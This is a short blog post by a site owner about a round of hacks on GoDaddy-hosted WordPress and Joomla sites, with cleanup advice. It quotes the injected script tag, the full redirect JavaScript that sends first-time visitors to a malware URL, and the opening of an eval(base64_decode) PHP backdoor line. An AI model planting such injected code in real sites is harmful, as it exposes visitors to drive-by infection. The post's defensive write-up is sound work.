Another round of Godaddy sites hacked

Just a couple of days ago, another round of attacks to many sites hosted at GoDaddy had been performed.  The majority of the infections were mainly Joomla and WordPress based sites.  I actually own one site that had been compromised and thankfully it doesn’t get much traffic as it had been launched not too long ago.

Either way, I did dig into the files and found the javascripts that were injected into many of the pages / posts on the site.  Here’s what it looks like:

< script src=”http://kdjkfjskdfjlskdjf.com/kp.php”>

Further investigation of the file revealed this source code (this is the kp.php file by the way)

function setCookie(c_name,value,expiredays)
{
var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays);
document.cookie=c_name+ “=” +escape(value)+ ((expiredays==null) ? “” :
“;expires=”+exdate.toGMTString()); } function getCookie(c_name){
if (document.cookie.length>0)
{
c_start=document.cookie.indexOf(c_name + “=”);
if (c_start!=-1) { c_start=c_start + c_name.length+1;
c_end=document.cookie.indexOf(“;”,c_start);
if (c_end==-1) c_end=document.cookie.length; return
unescape(document.cookie.substring(c_start,c_end)); } } return “”; } var
name=getCookie(“pma_visited_theme1″); if (name==”"){ setCookie(“pma_visited_theme1″,”1″,20);
var
url=”http://www3.workfree36-td.xorg.pl/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG3KXsWYlGhnZWuVmA%3D%3D”; window.top.location.replace(url);
}else{ }

The text in bold above is the source for the malware that’s actually called in to infect the user’s PC / browser

Resolution? Easy, open up your index files and look for the following code:

< ?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ2..

Also, for the unlucky ones using WordPress, your themes folder houses all of your PHP files.  Go through them one by one and clean them up.

Just an FYI, I came across a tweet from Godaddy confirming the hack but they did not indicate how many sites were actually attacked / infected.
